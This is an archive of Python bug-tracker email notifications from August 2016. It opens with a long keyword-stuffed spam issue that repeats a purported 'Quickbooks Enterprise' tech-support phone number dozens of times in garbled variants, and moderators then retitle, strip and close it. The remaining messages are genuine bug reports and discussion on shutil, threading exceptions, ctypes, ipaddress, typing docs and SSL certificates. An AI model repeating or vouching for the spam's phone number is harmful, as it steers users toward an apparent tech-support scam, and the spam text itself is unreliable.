Enterprise technical support phone number,??? Quickbooks Enterprise phone number, Quickbooks Enterprise technical support number, Quickbooks Enterprise support phone number, Quickbooks Enterprise technical support, Quickbooks Enterprise Customer Service Phone Number, Quickbooks Enterprise Customer Service Number, Quickbooks Enterprise Phone Number, Quickbooks Enterprise Number,???? Quickbooks Enterprise Customer Service Helpline Number, Quickbooks Enterprise Customer Care Number, Quickbooks Enterprise support team phone number, ????? Quickbooks Enterprise help number-Quickbooks Enterprise Helpline Number; Quickbooks Enterprise help phone number-Quickbooks Enterprise Helpline Number, Quickbooks Enterprise HELP DESK Toll free Number, Quickbooks Enterprise Support Telephone Number, Quickbooks Enterprise HELP DESK Telephone number, Quickbooks Enterprise HELP DESK contact number, Quickbooks Enterprise support contact number, Quickbooks Enterprise technical support contact number. Helpline TECH ))1-800 +919+0992(( Quickbooks Enterprise Enterprise technical support phone number 1-800 +919+0992 Quickbooks Enterprise Enterprise POS phone number 1800 +919+0992 QB SUPPORT ON ((1-800 +919+0992)) Quickbooks Enterprise Enterprise PHONE NUMBER AND Quickbooks Enterprise Enterprise SUPPORT PHONE NUMBER Quickbooks Enterprise Enterprise Toll Free, Intuit?(1-800 +919+0992)? Quickbooks Enterprise Enterprise Tech Support Phone Number POSvides online solution for all USA/CANADA clients. For any help of query call 1 800 +919+0992 to get all Quickbooks Enterprise Enterprise account solution. ??Call, 1-800 +919+0992 for all type help by Quickbooks Enterprise Enterprise tech support phone number, Intuit Quickbooks Enterprise Enterprise Tech Support Phone Number, Quickbooks Enterprise Enterprise Help Desk Phone Number, Quickbooks Enterprise Enterprise tech support number, Quickbooks Enterprise Enterprise technical support phone number,??? Quickbooks Enterprise Enterprise phone number, Quickbooks Enterprise Enterprise technical support number, Quickbooks Enterprise Enterprise support phone number, Quickbooks Enterprise Enterprise technical support, Quickbooks Enterprise Enterprise Customer Service Phone Number, Quickbooks Enterprise Enterprise Customer Service Number, Quickbooks Enterprise Enterprise Phone Number, Quickbooks Enterprise Enterprise Number,???? Quickbooks Enterprise Enterprise Customer Service Helpline Number, Quickbooks Enterprise Enterprise Customer Care Number, Quickbooks Enterprise Enterprise support team phone number, ????? Quickbooks Enterprise Enterprise help number- Quickbooks Enterprise Enterprise Helpline Number; Quickbooks Enterprise Enterprise help phone number- Quickbooks Enterprise Enterprise Helpline Number, Quickbooks Enterprise Enterprise Tech Support Toll free Number, Quickbooks Enterprise Enterprise Support Telephone Number, Quickbooks Enterprise Enterprise Tech Support Telephone number, Quickbooks Enterprise Enterprise Tech Support contact number, Quickbooks Enterprise Enterprise support contact number, Quickbooks Enterprise Enterprise technical support contact number. Call, Quickbooks Enterprise Enterprise tech support phone number, Intuit Quickbooks Enterprise Enterprise Tech Support Phone Number, Quickbooks Enterprise Enterprise Help Desk Phone Number, Quickbooks Enterprise Enterprise tech support number, Quickbooks Enterprise Enterprise technical support phone number, Quickbooks Enterprise Enterprise phone number, Quickbooks Enterprise Enterprise technical support number, Quickbooks Enterprise Enterprise support phone number. It is very popular toll free number which POSvide by Quickbooks Enterprise Enterprise technical support, Quickbooks Enterprise Enterprise Customer Service Phone Number, Quickbooks Enterprise Enterprise Customer Service Number, Quickbooks Enterprise Enterprise Phone Number, Quickbooks Enterprise Enterprise Number, Quickbooks Enterprise Enterprise Customer Service Helpline Number, Quickbooks Enterprise Enterprise Customer Care Number, Quickbooks Enterprise Enterprise support team phone number. Call, Quickbooks Enterprise Enterprise tech support phone number, Intuit Quickbooks Enterprise Enterprise Tech Support Phone Number, Quickbooks Enterprise Enterprise Help Desk Phone Number, Quickbooks Enterprise Enterprise tech support number, Quickbooks Enterprise Enterprise technical support phone number, Quickbooks Enterprise Enterprise phone number, Quickbooks Enterprise Enterprise technical support number, Quickbooks Enterprise Enterprise support phone number, Quickbooks Enterprise Enterprise technical support, Quickbooks Enterprise Enterprise Customer Service Phone Number, Quickbooks Enterprise Enterprise Customer Service Number, Quickbooks Enterprise Enterprise Phone Number, Quickbooks Enterprise Enterprise Number, Quickbooks Enterprise Enterprise Customer Service Helpline Number,Describe USA intuit Help ??1+800 +919+0992?? Quickbooks Enterprise PREMIER technical support phone number 1-800 -919-0992 Quickbooks Enterprise PREMIER customer service phone number usa here.USA intuit Help ??1+800 +919+0992?? Quickbooks Enterprise PREMIER technical support phone number 1-800 -919-0992 Quickbooks Enterprise PREMIER customer service phone number usa # Quickbooks Enterprise PREMIER Toll Free, ?(+1.800 .919.0992)?-: Quickbooks Enterprise PREMIER Tech Support Phone Number PREMIERvides online solution for all USA/CANADA clients. For any help of query call 1 800 to get all Quickbooks Enterprise PREMIER account solution. ??Call, +1.800 .919.0992 for all type help by Quickbooks Enterprise PREMIER tech support phone number, Quickbooks Enterprise PREMIER Tech Support Phone Number, Quickbooks Enterprise PREMIER Help Desk Phone Number, Quickbooks Enterprise PREMIER tech support number, Quickbooks Enterprise PREMIER technical support phone number,??? Quickbooks Enterprise PREMIER phone number, Quickbooks Enterprise PREMIER technical support number, Quickbooks Enterprise PREMIER support phone number, Quickbooks Enterprise PREMIER technical support, Quickbooks Enterprise PREMIER Customer Service Phone Number, Quickbooks Enterprise PREMIER Customer Service Number, Quickbooks Enterprise PREMIER Phone Number, Quickbooks Enterprise PREMIER Number,???? Quickbooks Enterprise PREMIER Customer Service Helpline Number, Quickbooks Enterprise PREMIER Customer Care Number, Quickbooks Enterprise PREMIER support team phone number, ????? Quickbooks Enterprise PREMIER help number- Quickbooks Enterprise PREMIER Helpline Number; Quickbooks Enterprise PREMIER help phone number- Quickbooks Enterprise PREMIER Helpline Number, Quickbooks Enterprise PREMIER Tech Support Toll free Number, Quickbooks Enterprise PREMIER Support Telephone Number, Quickbooks Enterprise PREMIER Tech Support Telephone number, Quickbooks Enterprise PREMIER Tech Support contact number, Quickbooks Enterprise PREMIER support contact number, Quickbooks Enterprise PREMIER technical support contact number. Call, Quickbooks Enterprise PREMIER tech support phone number, Quickbooks Enterprise PREMIER Tech Support Phone Number, Quickbooks Enterprise PREMIER Help Desk Phone Number, Quickbooks Enterprise PREMIER tech support number, Quickbooks Enterprise PREMIER technical support phone number, Quickbooks Enterprise PREMIER phone number, Quickbooks Enterprise PREMIER technical support number, Quickbooks Enterprise PREMIER support phone number. It is very popular toll free number which PREMIERvide by Quickbooks Enterprise PREMIER technical support, Quickbooks Enterprise PREMIER Customer Service Phone Number, Quickbooks Enterprise PREMIER Customer Service Number, Quickbooks Enterprise PREMIER Phone Number, Quickbooks Enterprise PREMIER Number, Quickbooks Enterprise PREMIER Customer Service Helpline Number, Quickbooks Enterprise PREMIER Customer Care Number, Quickbooks Enterprise PREMIER support team phone number. Call, Quickbooks Enterprise PREMIER tech support phone number, Quickbooks Enterprise PREMIER Tech Support Phone Number, Quickbooks Enterprise PREMIER Help Desk Phone Number, Quickbooks Enterprise PREMIER tech support number, Quickbooks Enterprise PREMIER technical support phone number, Quickbooks Enterprise PREMIER phone number, Quickbooks Enterprise PREMIER technical support number, Quickbooks Enterprise PREMIER support phone number, Quickbooks Enterprise PREMIER technical support, Quickbooks Enterprise PREMIER Customer Service Phone Number, Quickbooks Enterprise PREMIER Customer Service Number, Quickbooks Enterprise PREMIER Phone Number, Quickbooks Enterprise PREMIER Number, Quickbooks Enterprise PREMIER Customer Service Helpline Number, Quickbooks Enterprise PREMIER Customer Care Number,CALL ??? 1800 .919.0992 Quickbooks Enterprise pro s.u.p.p.o.r.t. .p.h.o.n.e. .n.u.m.b.e.r. usa/ca 1800 .919.0992 Quickbooks Enterprise pro s.u.p.p.o.r.t. .p.h.o.n.e. .n.u.m.b.e.r. usa Intuit?(1-800 -919-0992)Quickbooks Enterprise pro Tech Support Phone NumberIntuit??????(1-800 -919-0992)Quickbooks Enterprise pro Tech Support Phone Number provides online solution for all USA/CANADA clients. For any help of query call 1 800 919 0992 to get all Quickbooks Enterprise pro account solution. ??Call, 1-800 -919-0992 for all type help by Quickbooks Enterprise pro tech support phone number, Intuit Quickbooks Enterprise pro Tech Support Phone Number, Quickbooks Enterprise pro Help Desk Phone Number, Quickbooks Enterprise pro tech support number, Quickbooks Enterprise pro technical support phone number,??? Quickbooks Enterprise pro phone number, Quickbooks Enterprise pro technical support number, Quickbooks Enterprise pro support phone number, Quickbooks Enterprise pro technical support, Quickbooks Enterprise pro CustomeraService?? Phone Number, Quickbooks Enterprise pro Customer Service Number, Quickbooks Enterprise pro Phone Number, Quickbooks Enterprise pro Number,???? Quickbooks Enterprise pro Customer Service Helpline Number, Quickbooks Enterprise pro Customer Care Number, Quickbooks Enterprise pro support team phone number, ????? Quickbooks Enterprise pro help number-Quickbooks Enterprise pro Helpline Number; Quickbooks Enterprise pro help phone number-Quickbooks Enterprise pro Helpline Number, Quickbooks Enterprise pro Tech Support Toll free Number, Quickbooks Enterprise pro Support Telephone Number, Quickbooks Enterprise pro Tech Support Telephone number, Quickbooks Enterprise pro Tech Support contact number, Quickbooks Enterprise pro support contact number, Quickbooks Enterprise pro technical support contact number. Call, Quickbooks Enterprise pro tech support phone number, Intuit Quickbooks Enterprise pro Tech Support Phone Number, Quickbooks Enterprise pro Help Desk Phone Number, Quickbooks Enterprise pro tech support number, Quickbooks Enterprise pro technical support phone number, Quickbooks Enterprise pro phone number, Quickbooks Enterprise pro technical support number, Quickbooks Enterprise pro support phone number. It is very popular toll free number which provide by Quickbooks Enterprise pro technical support, Quickbooks Enterprise pro Customer Service Phone Number, Quickbooks Enterprise pro Customer Service Number, Quickbooks Enterprise pro Phone Number, Quickbooks Enterprise pro Number, Quickbooks Enterprise pro Customer Service Helpline Number, Quickbooks Enterprise pro Customer Care Number, Quickbooks Enterprise pro support team phone number. Call, Quickbooks Enterprise pro tech support phone number, Intuit Quickbooks Enterprise pro Tech Support Phone Number, Quickbooks Enterprise pro Help Desk Phone Number, Quickbooks Enterprise pro tech support number, Quickbooks Enterprise pro technical support phone number, Quickbooks Enterprise pro phone number, Quickbooks Enterprise pro technical support number, Quickbooks Enterprise pro support phone number, Quickbooks Enterprise pro technical support, Quickbooks Enterprise pro Customer Service Phone Number, Quickbooks Enterprise pro Customer Service Number, Quickbooks Enterprise pro Phone Number, Quickbooks Enterprise pro Number, Quickbooks Enterprise pro Customer Service Helpline Number, Quickbooks Enterprise pro Customer Care Number, Quickbooks Enterprise pro support team phone number, Quickbooks Enterprise pro help number-Quickbooks Enterprise pro Helpline Number; Quickbooks Enterprise pro help phone number, Quickbooks Enterprise pro Helpline Number1800 -919-0992 Quickbooks Enterprise technical help telephone number, Quickbooks Enterprise technical help contact number, Quickbooks Enterprise technical support contact number, Quickbooks Enterprise contact number, Quickbooks Enterprise contact phone number, Quickbooks Enterprise contact telephone number, Quickbooks Enterprise 24 hour contact number, ---------- components: asyncio files: (1-800-919-0992)Call, Quickbooks tech support phone number, Intuit Quickbooks Tech Support Phone Number, Quickbooks Help Desk Phone Number.pdf messages: 272000 nosy: bhartirana2323, gvanrossum, haypo, yselivanov priority: normal severity: normal status: open title: AAAAA 1 800 919 0992 ????? Quickbooks Enterprise support phone number, Quickbooks Enterprise support phone number type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file44011/(1-800-919-0992)Call, Quickbooks tech support phone number, Intuit Quickbooks Tech Support Phone Number, Quickbooks Help Desk Phone Number.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:32:06 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 20:32:06 +0000 Subject: =?utf-8?b?W2lzc3VlMjc2ODZdIEFBQUFBIDEgODAwIDkxOSAwOTkyIOKFgOKFgOKruA==?= =?utf-8?q?=E2=85=80=E2=85=80_Quickbooks_Enterprise_support_phone_number?= =?utf-8?q?=2C_Quickbooks_Enterprise_support_phone_number?= Message-ID: <1470342726.11.0.905522824694.issue27686@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- Removed message: http://bugs.python.org/msg272000 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:32:39 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 20:32:39 +0000 Subject: [issue27686] Spam Message-ID: <1470342759.53.0.0354689246415.issue27686@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- components: -asyncio nosy: -bhartirana2323, gvanrossum, haypo, yselivanov resolution: -> not a bug stage: -> resolved status: open -> closed title: AAAAA 1 800 919 0992 ????? Quickbooks Enterprise support phone number, Quickbooks Enterprise support phone number -> Spam versions: -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:33:08 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 20:33:08 +0000 Subject: [issue27686] Spam Message-ID: <1470342788.75.0.403683798111.issue27686@psf.upfronthosting.co.za> Changes by Zachary Ware : Removed file: http://bugs.python.org/file44011/(1-800-919-0992)Call, Quickbooks tech support phone number, Intuit Quickbooks Tech Support Phone Number, Quickbooks Help Desk Phone Number.pdf _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:44:42 2016 From: report at bugs.python.org (jort bloem) Date: Thu, 04 Aug 2016 20:44:42 +0000 Subject: [issue27687] Linux shutil.move between mountpoints as root does not retain ownership Message-ID: <1470343482.28.0.365470977104.issue27687@psf.upfronthosting.co.za> New submission from jort bloem: When using shutil.move() between mounts (i.e. when it does a copy/delete), running as root, ownership should be maintained. To test: log in as root, create a file owned by a regular user. In python, use shutil.move() to move it to another mountpoint. Check that the ownership of the moved file is the same as the ownership of the original file. ---------- components: Library (Lib) messages: 272001 nosy: jort.bloem priority: normal severity: normal status: open title: Linux shutil.move between mountpoints as root does not retain ownership type: behavior versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 16:48:40 2016 From: report at bugs.python.org (Zachary Ware) Date: Thu, 04 Aug 2016 20:48:40 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1470343720.46.0.366195217006.issue24658@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 21:55:13 2016 From: report at bugs.python.org (Decorater) Date: Fri, 05 Aug 2016 01:55:13 +0000 Subject: [issue1230540] sys.excepthook doesn't work in threads Message-ID: <1470362113.68.0.0375385025781.issue1230540@psf.upfronthosting.co.za> Decorater added the comment: I too agree that I hate the thread exceptions being printed in the console I would suggest python was to error log it all to a file instead (so it does not spam up the console). I get it a lot with websocket / opus errors and it is annoying because it does not cleanup ffmpeg for me. ---------- nosy: +Decorater _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 22:04:58 2016 From: report at bugs.python.org (Decorater) Date: Fri, 05 Aug 2016 02:04:58 +0000 Subject: [issue1230540] sys.excepthook doesn't work in threads Message-ID: <1470362698.77.0.714116492347.issue1230540@psf.upfronthosting.co.za> Decorater added the comment: personally these exceptions in console can be annoying to me as I hate seeing them. Exception in thread Thread-11: Traceback (most recent call last): File "threading.py", line 914, in _bootstrap_inner File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 150, in run super().run() File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 108, in run self.player(data) File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 669, in play_audio sent = self.socket.sendto(packet, (self.endpoint_ip, self.voice_port)) OSError: [WinError 10055] An operation on a socket could not be performed because the system lacked sufficient buffer space or because a queue was full Exception in thread Thread-21: Traceback (most recent call last): File "threading.py", line 914, in _bootstrap_inner File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 150, in run super().run() File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 108, in run self.player(data) File "E:\Users\Elsword\Desktop\DecoraterBot\Async\test\resources\Dependencies\discord\voice_client.py", line 669, in play_audio sent = self.socket.sendto(packet, (self.endpoint_ip, self.voice_port)) OSError: [WinError 10038] An operation was attempted on something that is not a socket ---------- versions: +Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 22:16:08 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 05 Aug 2016 02:16:08 +0000 Subject: [issue26462] Patch to enhance literal block language declaration In-Reply-To: <1456790330.71.0.936150839602.issue26462@psf.upfronthosting.co.za> Message-ID: <20160805021605.26446.61705.52C718C9@psf.io> Roundup Robot added the comment: New changeset 6e9a040a993f by Martin Panter in branch '2.7': Issue #26462: Doc: avoid literal_block warnings, fix syntax highlighting. https://hg.python.org/cpython/rev/6e9a040a993f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 22:31:40 2016 From: report at bugs.python.org (Xiang Zhang) Date: Fri, 05 Aug 2016 02:31:40 +0000 Subject: [issue21578] Misleading error message when ImportError called with invalid keyword args In-Reply-To: <1401078695.26.0.813929580296.issue21578@psf.upfronthosting.co.za> Message-ID: <1470364300.7.0.709921313413.issue21578@psf.upfronthosting.co.za> Xiang Zhang added the comment: I am a little uncomfortable with the empty tuple. It's only used as a placeholder for PyArg_ParseTupleAndKeywords. But this way we can achieve consistent error message. Don't know how to choose. ---------- nosy: +xiang.zhang _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 22:55:32 2016 From: report at bugs.python.org (Decorater) Date: Fri, 05 Aug 2016 02:55:32 +0000 Subject: [issue1230540] sys.excepthook doesn't work in threads Message-ID: <1470365732.97.0.193185167383.issue1230540@psf.upfronthosting.co.za> Decorater added the comment: Ok, so I just found out you can bypass thread exceptions by wraping the line that actually runs the threads in a try/except block and then using the logging module to log it to a file instead of the console. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 23:08:18 2016 From: report at bugs.python.org (Steve Dower) Date: Fri, 05 Aug 2016 03:08:18 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470366498.53.0.877134790177.issue20160@psf.upfronthosting.co.za> Steve Dower added the comment: Looks good to me. Sorry for not getting back to this after I said I would. Every time I remembered I didn't have the time available... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 23:10:49 2016 From: report at bugs.python.org (Steve Dower) Date: Fri, 05 Aug 2016 03:10:49 +0000 Subject: [issue20160] broken ctypes calling convention on MSVC / 64-bit Windows (large structs) In-Reply-To: <1389087474.06.0.281853443562.issue20160@psf.upfronthosting.co.za> Message-ID: <1470366649.12.0.86124625317.issue20160@psf.upfronthosting.co.za> Steve Dower added the comment: I'd also suggest that this is potentially exploitable (if the Python code calling into ctypes is already vulnerable - I don't think you could reasonably manufacture an exploit simply from this bug) and it should probably go into all active security branches. I think that's what the current selection represents, but I don't remember where 3.3 is at right now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 4 23:37:04 2016 From: report at bugs.python.org (Michael Lee) Date: Fri, 05 Aug 2016 03:37:04 +0000 Subject: [issue27688] Expand documentation about Any in the typing module Message-ID: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> New submission from Michael Lee: This patch updates the section about `Any` in the typing module. Previously, that section was relatively sparse and didn't seem to do a very good job of helping the reader understand what the distinction between `Any` and `object` is. This patch expands that section and adds several examples borrowed from the mypy docs and PEP 484. ---------- assignee: docs at python components: Documentation files: object-vs-any.patch keywords: patch messages: 272009 nosy: docs at python, gvanrossum, michael0x2a priority: normal severity: normal status: open title: Expand documentation about Any in the typing module versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44012/object-vs-any.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 00:09:00 2016 From: report at bugs.python.org (Michael Lee) Date: Fri, 05 Aug 2016 04:09:00 +0000 Subject: [issue27689] Add documentation for typing.Generator Message-ID: <1470370140.25.0.341729775697.issue27689@psf.upfronthosting.co.za> New submission from Michael Lee: This patch adds (previously missing) documentation for `typing.Generator`. ---------- assignee: docs at python components: Documentation files: document-generators.patch keywords: patch messages: 272010 nosy: docs at python, gvanrossum, michael0x2a priority: normal severity: normal status: open title: Add documentation for typing.Generator versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44013/document-generators.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 00:50:31 2016 From: report at bugs.python.org (umank.behera) Date: Fri, 05 Aug 2016 04:50:31 +0000 Subject: [issue27685] altinstall with --enable-shared showing incorrect behaviour In-Reply-To: <1470340980.02.0.968762212838.issue27685@psf.upfronthosting.co.za> Message-ID: <1470372631.08.0.957330923232.issue27685@psf.upfronthosting.co.za> umank.behera added the comment: As Ned Deily mentioned, this fixes the issue: ./configure --enable-shared --prefix=/opt/python LDFLAGS=-Wl,-rpath=/opt/python/lib Closing as not a bug, thanks! ---------- resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 01:04:36 2016 From: report at bugs.python.org (umank.behera) Date: Fri, 05 Aug 2016 05:04:36 +0000 Subject: [issue27685] altinstall with --enable-shared showing incorrect behaviour In-Reply-To: <1470340980.02.0.968762212838.issue27685@psf.upfronthosting.co.za> Message-ID: <1470373476.54.0.453549999597.issue27685@psf.upfronthosting.co.za> umank.behera added the comment: I need to have --enable-shared present while compiling to make PyInstaller work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 01:39:53 2016 From: report at bugs.python.org (Lilin Lao) Date: Fri, 05 Aug 2016 05:39:53 +0000 Subject: [issue27690] os.path.normcase broken. Message-ID: <1470375593.32.0.328295264297.issue27690@psf.upfronthosting.co.za> New submission from Lilin Lao: orz> python Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. Failed calling sys.__interactivehook__ Traceback (most recent call last): File "C:\Users\lao\AppData\Local\Programs\Python\Python35\lib\site.py", line 388, in register_readline import readline File "C:\Users\lao\AppData\Local\Programs\Python\Python35\lib\site-packages\readline.py", line 6, in from pyreadline.rlmain import Readline File "C:\Users\lao\AppData\Local\Programs\Python\Python35\lib\site-packages\pyreadline\__init__.py", line 12, in from . import logger, clipboard, lineeditor, modes, console File "C:\Users\lao\AppData\Local\Programs\Python\Python35\lib\site-packages\pyreadline\logger.py", line 10, in import socket, logging, logging.handlers File "C:\Users\lao\AppData\Local\Programs\Python\Python35\lib\logging\__init__.py", line 170, in _srcfile = os.path.normcase(addLevelName.__code__.co_filename) AttributeError: module 'ntpath' has no attribute 'normcase' >>> exit() ---------- components: Windows messages: 272013 nosy: lll9p, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: os.path.normcase broken. type: crash versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 01:40:52 2016 From: report at bugs.python.org (Steven Barker) Date: Fri, 05 Aug 2016 05:40:52 +0000 Subject: [issue27389] When a TypeError is raised due to invalid arguments to a method, it should use __qualname__ to identify the class the method is in In-Reply-To: <1466912142.66.0.184362452129.issue27389@psf.upfronthosting.co.za> Message-ID: <1470375652.05.0.684466377345.issue27389@psf.upfronthosting.co.za> Steven Barker added the comment: Yes, this looks to be a duplicate of that issue. I'm closing this issue as a duplicate, but I don't seem to be able to set the Superseder field. If you can, please set that to Issue 2786. ---------- resolution: -> duplicate status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 01:42:36 2016 From: report at bugs.python.org (Lilin Lao) Date: Fri, 05 Aug 2016 05:42:36 +0000 Subject: [issue27690] os.path.normcase broken. In-Reply-To: <1470375593.32.0.328295264297.issue27690@psf.upfronthosting.co.za> Message-ID: <1470375756.51.0.244681014996.issue27690@psf.upfronthosting.co.za> Lilin Lao added the comment: This issue happened after I update the system to "Windows 10 Anniversary Update". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 01:48:10 2016 From: report at bugs.python.org (Steven Barker) Date: Fri, 05 Aug 2016 05:48:10 +0000 Subject: [issue2786] Names in function call exception should have class names, if they're methods In-Reply-To: <1210191958.85.0.412869826908.issue2786@psf.upfronthosting.co.za> Message-ID: <1470376090.84.0.965860994811.issue2786@psf.upfronthosting.co.za> Steven Barker added the comment: A few weeks ago I reported issue 27389 which looks to be a duplicate of this issue. Has any progress been made on this issue? ---------- nosy: +Steven.Barker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 02:00:29 2016 From: report at bugs.python.org (Lilin Lao) Date: Fri, 05 Aug 2016 06:00:29 +0000 Subject: [issue27690] os.path.normcase broken. In-Reply-To: <1470375593.32.0.328295264297.issue27690@psf.upfronthosting.co.za> Message-ID: <1470376829.9.0.580510136563.issue27690@psf.upfronthosting.co.za> Lilin Lao added the comment: I Fixed it by uninstall and then reinstall python, thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 02:32:20 2016 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 05 Aug 2016 06:32:20 +0000 Subject: [issue27683] ipaddress subnet slicing iterator malfunction In-Reply-To: <1470316057.21.0.151567664395.issue27683@psf.upfronthosting.co.za> Message-ID: <1470378740.63.0.413028991819.issue27683@psf.upfronthosting.co.za> Nick Coghlan added the comment: As Stephen notes, the underlying problem appears to be a behavioural difference between two theoretically equivalent ways of defining a network: >>> list(ipaddress.IPv4Network(('127.0.0.4', 31)).hosts()) [] >>> list(ipaddress.IPv4Network(('127.0.0.4/31')).hosts()) [IPv4Address('127.0.0.4'), IPv4Address('127.0.0.5')] Now, the first case is the documented behaviour: hosts() is *supposed to* exclude the network and broadcast address, and those are the only addresses in a /31. If you want to iterate over all the *addresses* in a network (including the network and broadcast addresses) then you need to iterate over the network object directly: >>> list(ipaddress.IPv4Network(('127.0.0.4', 31))) [IPv4Address('127.0.0.4'), IPv4Address('127.0.0.5')] >>> list(ipaddress.IPv4Network(('127.0.0.4/31'))) [IPv4Address('127.0.0.4'), IPv4Address('127.0.0.5')] However, as Emanuel found when writing his patch, there's currently an undocumented special case for /31 networks: the definition of "hosts" is *implicitly changed* for such instances to include the nominal network and broadcast address (by setting "self.hosts = self.__iter__"), presumably on the assumption that such networks represent a point-to-point link between two hosts, so the concepts of "network address" and "broadcast address" don't really apply. That special case seems pragmatically useful, so I think the right fix would be to: - document the special case that for /31 networks, hosts() includes the network and broadcast addresses (on the assumption the "network" is actually a point-to-point link between two hosts) - refactor IPv4Network.__init__ to first map the supplied input to a "candidate_address" and "candidate_netmask" and then use *common* validation logic to determine the actual network address and netmask (this will also address the "# fixme" comment for the int/bytes case) - check whether or not IPv6Network is affected by the same behavioural discrepancy ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 02:42:51 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 05 Aug 2016 06:42:51 +0000 Subject: [issue27690] os.path.normcase broken. In-Reply-To: <1470375593.32.0.328295264297.issue27690@psf.upfronthosting.co.za> Message-ID: <1470379371.35.0.596712064214.issue27690@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> works for me stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 02:45:11 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 05 Aug 2016 06:45:11 +0000 Subject: [issue27389] When a TypeError is raised due to invalid arguments to a method, it should use __qualname__ to identify the class the method is in In-Reply-To: <1466912142.66.0.184362452129.issue27389@psf.upfronthosting.co.za> Message-ID: <1470379511.21.0.207553506204.issue27389@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- superseder: -> Names in function call exception should have class names, if they're methods _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 03:59:58 2016 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 05 Aug 2016 07:59:58 +0000 Subject: [issue27688] Expand documentation about Any in the typing module In-Reply-To: <1470368224.56.0.159287783102.issue27688@psf.upfronthosting.co.za> Message-ID: <1470383998.33.0.22692904687.issue27688@psf.upfronthosting.co.za> Changes by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 04:47:32 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 05 Aug 2016 08:47:32 +0000 Subject: [issue26462] Patch to enhance literal block language declaration In-Reply-To: <1456790330.71.0.936150839602.issue26462@psf.upfronthosting.co.za> Message-ID: <1470386852.28.0.680973112661.issue26462@psf.upfronthosting.co.za> Martin Panter added the comment: I backported the patch to 2.7. Now I get no warnings about syntax highlighting from 2.7 (there were only a few reported before). ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 5 05:26:35 2016 From: report at bugs.python.org (Christian Heimes) Date: Fri, 05 Aug 2016 09:26:35 +0000 Subject: [issue27691] X509 cert with GEN_RID subject alt name causes SytemError Message-ID: <1470389195.49.0.571813101842.issue27691@psf.upfronthosting.co.za> New submission from Christian Heimes: A X509 cert with a registered id general name in subject alternative name causes a SystemError: error return without exception set. This prevents host name validation of certs with a registered id. >>> import _ssl >>> _ssl._test_decode_cert('rid.pem') Traceback (most recent call last): File "", line 1, in SystemError: error return without exception set The problem is caused by a bug in OpenSSL's print function for general 